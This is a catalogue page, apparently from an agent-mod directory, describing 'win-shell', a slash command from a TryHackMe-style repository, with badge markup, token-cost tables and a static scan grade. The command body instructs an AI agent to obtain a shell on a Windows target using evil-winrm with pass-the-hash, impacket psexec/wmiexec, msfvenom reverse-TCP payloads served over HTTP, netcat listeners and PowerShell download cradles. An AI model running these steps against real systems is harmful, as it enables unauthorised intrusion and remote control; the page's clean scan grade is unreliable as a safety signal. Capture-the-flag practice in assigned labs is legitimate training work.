Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/pashki975/thm-claude-kitWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/commands/pashki975/thm-claude-kit/win-shell)<a href="https://agentmods.dev/commands/pashki975/thm-claude-kit/win-shell"><img src="https://agentmods.dev/badge/commands/pashki975/thm-claude-kit/win-shell/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/commands/pashki975/thm-claude-kit/win-shell"><img src="https://agentmods.dev/badge/commands/pashki975/thm-claude-kit/win-shell.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00014 | $0.00504 |
| Opus 5.5 | $0.00006 | $0.00202 |
| Sonnet 5.5 | $0.00003 | $0.00101 |
| Haiku 4.5 | $0.00001 | $0.00050 |
Grade A, and why
win-shell scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
What it actually says
Help me get a shell on the Windows target. Args: $ARGUMENTS Expected:
Pick the right access method based on what the creds allow. Show my tun0 IP as LHOST for any reverse shell.
Credentialed remote access (preferred — try in this order)
- WinRM (port 5985):
evil-winrm -i <IP> -u <user> -p <pass>(pass-the-hash:evil-winrm -i <IP> -u <user> -H <NTLM-hash>) - SMB exec (needs admin):
impacket-psexec <DOMAIN>/<user>:<pass>@<IP>quieter alternatives:impacket-wmiexec,impacket-smbexec,impacket-atexec - Check what a cred can do first:
nxc smb <IP> -u <user> -p <pass>("Pwn3d!" means local admin → psexec/wmiexec will work)
RDP (if 3389 open and you want a GUI)
xfreerdp /v:<IP> /u:<user> /p:<pass> +clipboard /dynamic-resolution
Reverse shells (when you have code exec but no cred login)
- Best option: host Invoke-PowerShell reverse shell and pull it in with a PowerShell
download-cradle. Generate a payload with:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<tun0> LPORT=<port> -f exe -o shell.exe - Serve files to the target:
python3 -m http.server 80 - Catch it:
rlwrap nc -lvnp <port>in a separate terminal - A PowerShell base64 one-liner (
-e) is often the most reliable single-line option; generate it and explain how to run it on the target.
After landing
whoami /privandwhoami /groups— check for exploitable privileges immediately- Grab the user flag (usually C:\Users<user>\Desktop\user.txt)
- Then move to /win-privesc
Never run a payload against anything but the assigned target. Explain each step.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 37 lines · 14 tokens per session scan A 64b3850a850b
win-shell is a command published in the GitHub repository pashki975/thm-claude-kit (2 stars, last pushed 2mo ago), licensed MIT. It adds 14 tokens to every session and 504 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other commands, from other repositories
dewey-classify
Classify a file using the DeweyGraph modular skill toolkit.
dewey-graph
Show the DeweyGraph link graph and heat maps for the current archive.
dewey-scan
Scan a folder with the DeweyGraph modular classifier and synthesise cross-links.
project-status
Summarize the current state of this client project.
pr
Create a pull request from the current branch.
wiki-query
Answer a question from the wiki's accumulated knowledge using index-first retrieval.